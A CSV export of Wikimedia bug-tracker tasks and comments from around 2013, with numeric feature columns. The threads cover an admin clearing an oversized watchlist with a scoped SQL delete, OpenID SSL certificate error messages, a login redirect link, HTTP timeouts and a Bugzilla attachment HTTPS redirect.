+215040,Clear specific user's watchlist that is too large to load (HTTP Error 500),Max Semenik cleared my watchlist on Commons,,,1362147678,,PHID-USER-j4jntnatcouoxfrk74sh,False,,,PHID-TASK-tacmfcmzyzppgwxzok5o,task_subcomment,,True,c2,1,False,,,-26,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+215034,Clear specific user's watchlist that is too large to load (HTTP Error 500),"For future reference, please file a separate request to track, otherwise this specific bug report would never be closed.",,,1362076855,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tacmfcmzyzppgwxzok5o,task_subcomment,,True,c2,1,True,,,-26,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+215025,Clear specific user's watchlist that is too large to load (HTTP Error 500),Can you also do the same for Jarekt on Commons. I am also unable to edit my watchlist.,,,1362065923,,PHID-USER-j4jntnatcouoxfrk74sh,False,,,PHID-TASK-tacmfcmzyzppgwxzok5o,task_subcomment,,True,c2,1,False,,,-26,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+215021,Clear specific user's watchlist that is too large to load (HTTP Error 500),"mysql:wikiadmin@db1017 [enwiki]> select count(*) from watchlist where wl_user=23407;
++----------+
+| count(*) |
++----------+
+|   221044 |
++----------+
+1 row in set (0.12 sec)
+
+
+Seriously?
+
+
+mysql:wikiadmin@db1017 [enwiki]> delete from watchlist where wl_user=23407;
+Query OK, 221044 rows affected (1 min 53.68 sec)
+
+mysql:wikiadmin@db1017 [enwiki]> select count(*) from watchlist where wl_user=23407;
++----------+
+| count(*) |
++----------+
+|        0 |
++----------+
+1 row in set (0.07 sec)
+
+mysql:wikiadmin@db1017 [enwiki]>",,,1362010363,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-tacmfcmzyzppgwxzok5o,task_subcomment,,True,c2,1,True,,,-26,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1
+47324,[SSL] OpenID consumer when authenticating an https://OpenID: show a distinct verification error message in case of host verification failures (e.g. certificate or CA problems),"OpenID consumer when authentication an https://OpenID: show a distinct verification error message in case of untrusted (e.g. self-signed) CA
+
+Currently, you see only the general message ""Verification error"", even when the consumer wiki knows that the CA is untrusted.
+
+Inform the user that the verification failed because the OpenID server uses an untrusted (e.g. self-signed) certificate.
+
+
+Additional improvements:
+
++ allow to show the server certificate fingerprints (sha-256, sha-1, md5) (must have)
++ allow to overwrite the single CA error(warning) and accept even an untrusted OpenID on extra user action. (nice to have for testing)
+
+--------------------------
+**Version**: master
+**Severity**: normal",Medium,50.0,1361700900,1363539993.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-7xp3ch6l5wqsr55n4fbo,task_description,declined,True,c2,1,False,False,True,-27,True,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+212047,[SSL] OpenID consumer when authenticating an https://OpenID: show a distinct verification error message in case of host verification failures (e.g. certificate or CA problems),"I analysed the issue and found that it is an ""upstream"" problem of the php-openid library. The problem is not jeopardizing the security.
+
+The distinct verification error message can only be shown, when the underlying php-openid library includes my patch which is sent as https://github.com/openid/php-openid/pull/92 .",,,1363539993,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-7xp3ch6l5wqsr55n4fbo,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,0,1,0,0,0
+212041,[SSL] OpenID consumer when authenticating an https://OpenID: show a distinct verification error message in case of host verification failures (e.g. certificate or CA problems),+ http://unitstep.net/blog/2009/05/05/using-curl-in-php-to-access-https-ssltls-protected-sites/,,,1363443570,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-7xp3ch6l5wqsr55n4fbo,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+212033,[SSL] OpenID consumer when authenticating an https://OpenID: show a distinct verification error message in case of host verification failures (e.g. certificate or CA problems),"*** this is not yet a proposed patch ***
+
+see http://www.php.net/manual/de/function.curl-setopt.php for curl options
+
+ad-hoc possibility to disable host certificate checks https://gerrit.wikimedia.org/r/#/c/54123/1 :
+
+in OpenID.php, or in your LocalSettings.php (after including the extension) add
+
+/**
+ * When this wiki is used as consumer:
+ *
+ * Whether OpenID https://provider-host certificates are checked (default)
+ *
+ * true enables SSL Certificate check
+ * this is the default even when the define statement is missing
+ *
+ * set to false if you want to disable SSL Certificate check
+ * this can only by useful for testing with self-signed certificates
+ */
+define( 'Auth_OpenID_VERIFY_HOST', true );
+
+In a forthcoming version of the extension this can be part of new settings per-provider.",,,1363431663,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-7xp3ch6l5wqsr55n4fbo,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+212026,[SSL] OpenID consumer when authenticating an https://OpenID: show a distinct verification error message in case of host verification failures (e.g. certificate or CA problems),"Just for the record: logfile looks like
+
+[error] Got no response code when fetching https://provider/phase3/index.php/User:Username, referer: http://consumer/index.php/Spezial:OpenID-Umwandlung
+
+[error] CURL error (60): SSL certificate problem, verify that the CA cert is OK. Details:\nerror:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed, referer: http://consumer/index.php/Spezial:OpenID-Umwandlung",,,1363427587,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-7xp3ch6l5wqsr55n4fbo,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+47077,"On login successful page, return to link is broken","If I was on Wikidata:Project_chat, then login, the login success page give me the following.
+
+<a href=""//wikidata.org/wiki/Project_chat"" class=""extiw"" title=""wikidata:Project chat"">wikidata:Project chat</a>
+
+and it redirects me to http://wikidata.org/wiki/Project_chat",Medium,50.0,1361018100,1472116982.0,PHID-USER-lzhljhpbm3qfphvqyill,False,PHID-USER-pr6rfjdcmkknkex6dgn5,False,PHID-TASK-ybywyudxfrtdi7yo6ko5,task_description,declined,True,c2,1,False,False,False,-28,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,1,0,0,0,1
+717300,"On login successful page, return to link is broken","Can't reproduce either, closing this (also because this was in Feb 2013).",,,1472116982,,PHID-USER-pr6rfjdcmkknkex6dgn5,False,,,PHID-TASK-ybywyudxfrtdi7yo6ko5,task_subcomment,,True,c2,3,True,,,156,True,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+668474,"On login successful page, return to link is broken",Can not reproduce.,,,1464193644,,PHID-USER-ibbxmosfonhbbhdgkv52,False,,,PHID-TASK-ybywyudxfrtdi7yo6ko5,task_subcomment,,True,c2,3,False,,,143,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+223233,"On login successful page, return to link is broken","this might be a config issue and nothing the extension can fix, but not sure without further investigating this",,,1361018185,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-ybywyudxfrtdi7yo6ko5,task_subcomment,,True,c2,1,False,,,-28,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+46991,Timeout for HTTP calls to the APIs of other wikis.,"When calling the API of other wikis using HTTP, as for instance MediaWikiSite does in order to normalize page titles, provide options to Http::get() to force a reasonable timeout and perhaps other hints.
+
+--------------------------
+**Version**: master
+**Severity**: enhancement",Medium,50.0,1360842300,1492960987.0,PHID-USER-5dqihbanu3caaj7pigif,False,PHID-USER-7n5fvppwj4ueprv2iuys,False,PHID-TASK-v2hvjyjtepl4ldowvd2g,task_description,invalid,True,c2,1,False,False,False,-28,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+217581,Timeout for HTTP calls to the APIs of other wikis.,[replacing wikidata keyword by adding CC - see bug 56417],,,1383221695,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-v2hvjyjtepl4ldowvd2g,task_subcomment,,True,c2,3,True,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+217576,Timeout for HTTP calls to the APIs of other wikis.,"Assigning this to the wikibase repo extension. The subject of this ticket is specifically, how wikibase can call out to other site's api without blocking for too long.",,,1363449465,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-v2hvjyjtepl4ldowvd2g,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0
+217572,Timeout for HTTP calls to the APIs of other wikis.,"Re Quim reassinging this bug to the API component: The ""API"" component is for bugs in the API itself. This bug is about other things calling the API on other wikis and not specifying timeouts, which is a problem in those other things.",,,1363445936,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-v2hvjyjtepl4ldowvd2g,task_subcomment,,True,c2,1,True,,,-24,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+46777,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","* View https://bugzilla.wikimedia.org/attachment.cgi?id=829&action=edit
+* Click ""View Attachment as Diff""
+
+
+Request url:
+https://bug-attachment.wikimedia.org/attachment.cgi?id=829
+
+This makes it impossible to view diffs on https, and bugzilla is enforced to be on HTTPS.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Medium,50.0,1360293600,1398336250.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-4x6z4jjcyrncydazjosh,task_description,resolved,True,c2,1,True,False,False,-29,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+230989,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","Ah, damn it, I should have re-read my comment 11 first before adding comment 13.
+Sorry for my confusion.",,,1398359452,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,3,True,,,34,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+230985,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","(In reply to Ariel T. Glenn from comment #12)
+> Can we try again with https in the attachment_base? (RT #2490 for the
+> grody details)
+
+I set attachment_base from
+   http://bug-attachment.wikimedia.org/
+to
+   https://bug-attachment.wikimedia.org/
+but going to 
+   https://bugzilla.wikimedia.org/attachment.cgi?id=829&action=edit
+I still get
+   
+The attachment is not viewable in your browser due to security restrictions enabled by your Bugzilla administrator.
+In order to view the attachment, you first have to download it.
+Actions: View | Delete 
+
+Clicking on ""View"" I get to
+  https://bugzilla.wikimedia.org/attachment.cgi?id=829
+which offers to open locally in a text editor.
+
+Not worse than before though, so I'll keep it as https://",,,1398157969,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,3,True,,,33,True,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+230981,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","So view attachment works, but via a redirect to http, that can't be what we want.  Can we try again with https in the attachment_base? (rt #2490 for the grody details)",,,1397742331,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,3,False,,,33,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+230973,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","(In reply to comment #0)
+> * View https://bugzilla.wikimedia.org/attachment.cgi?id=829&action=edit
+> * Click ""View Attachment as Diff""
+
+That's not a diff (I should have realized that earlier). 
+
+For https://bugzilla.wikimedia.org/attachment.cgi?id=827&action=edit or https://bugzilla.wikimedia.org/attachment.cgi?id=11975&action=edit , clicking ""View Attachment as Diff"" works fine.
+
+I'm closing this as INVALID.",,,1364148333,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,True,,,-23,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+230962,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","<LpSolit> andre: the code and comments are correct...
+<LpSolit>  if ($cgi->url_is_attachment_base($bug_id)) {
+<LpSolit> it will check if the URL is the one for the given attachment
+<LpSolit> and if it's not, then we know there is something wrong
+<LpSolit> which is what the comment says
+<LpSolit>    # If we come here, this means that each bug has its own host
+<LpSolit>    # for attachments, and that we are trying to view one attachment
+<LpSolit>    # using another bug's host. That's not desired.
+<LpSolit> you don't reach  elsif ($cgi->url_is_attachment_base) if your are viewing attachments with the correct URL",,,1363353908,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,True,,,-24,True,1,1,0,0,1,1,1,0,0,1,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+230951,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","Looking at the code, the inline documentation comments confuse me.
+We don't use %bugid% in the attachment_base parameter of Wikimedia Bugzilla.
+So attachment.cgi:293 states:
+        elsif ($cgi->url_is_attachment_base) {
+            # If we come here, this means that each bug has its own host for attachments
+which implies that attachment.cgi:264:
+        if ($cgi->url_is_attachment_base($bug_id)) {
+would be executed if there is no %bugid% substring in attachment_base, right?
+But in Bugzilla/CGI.pm:510's url_is_attachment_base() the comment says:
+# If we're passed an id, we only want one specific attachment base for a particular bug.
+Feels contradicting, but maybe I miss something obvious.
+
+Wild guesses: There are some calls for
+* do_ssl_redirect_if_required()
+* redirect_to_urlbase()
+in attachment.cgi which might be the reason for our issues?",,,1362762954,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,True,,,-25,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+230942,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","giving to default assignee for now and removing patch-in-gerrit keyword.
+
+maybe someone with shell on kaulen can take a crack at it or I may look again at some point.",,,1362018458,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,False,,,-26,True,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+230934,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","(In reply to comment #4)
+> Want to try that again now that the apache conf change has been deployed?
+
+Done. Still doesn't work, same result as for http.",,,1361927162,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,True,,,-26,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1
+230928,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","(In reply to comment #5)
+> The above urls still redirect to http://.
+
+I'm not sure what your point is. Comment #4 still holds.",,,1361907384,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,False,,,-27,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1
+230922,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","(In reply to comment #0)
+> * View https://bugzilla.wikimedia.org/attachment.cgi?id=829&action=edit
+> * Click ""View Attachment as Diff""
+> 
+> 
+> Request url:
+> https://bug-attachment.wikimedia.org/attachment.cgi?id=829
+> 
+
+https://bug-attachment.wikimedia.org/attachment.cgi?id=827
+
+The above urls still redirect to http://.",,,1361881826,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,True,,,-27,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+230917,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","(In reply to comment #1)
+> Value for   attachment_base   in Bugzilla is set to
+>    http://bug-attachment.wikimedia.org/
+> Changing it to
+>    https://bug-attachment.wikimedia.org/ 
+> won't fix this but the redirection would trigger 
+[...]
+
+Want to try that again now that the apache conf change has been deployed?",,,1361848225,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,False,,,-27,True,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1
+230913,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","https://gerrit.wikimedia.org/r/#/c/49200/
+
+RT #2490",,,1361186746,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,True,,,-28,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+230908,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","Needs to fix apache configuration to not redirect this domain.
+
+Though I can't find an entry for this redirect in the operations/apache-config.git repo.",,,1360669160,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,True,,,-29,True,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+230903,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","Confirming problem.
+
+Value for   attachment_base   in Bugzilla is set to
+   http://bug-attachment.wikimedia.org/
+Changing it to
+   https://bug-attachment.wikimedia.org/ 
+won't fix this but the redirection would trigger e.g. ""the page isn't displaying properly"" in Firefox and still wouldn't enable ""View Attachment as Diff"".
+
+Looks like nothing I could fix in Bugzilla itself.",,,1360306685,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,True,,,-29,True,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,1,1,0,0,0
+46760,SSL certificate for https://status.wikimedia.org/,"Both domains return an ""untrusted connection"" warning if accessed through the https protocol.
+
+For wikitech, but 22926 is related.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**URL**: https://wikitech.wikimedia.org",Medium,50.0,1360257300,1363469248.0,PHID-USER-uazrhtptdqudzoqfefsc,False,,False,PHID-TASK-h2zfikbf6khroavaepxu,task_description,resolved,True,c2,1,False,False,True,-29,True,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+229777,SSL certificate for https://status.wikimedia.org/,"
+
+*** This bug has been marked as a duplicate of bug 32796 ***",,,1363469248,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-h2zfikbf6khroavaepxu,task_subcomment,,True,c2,1,True,,,-24,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
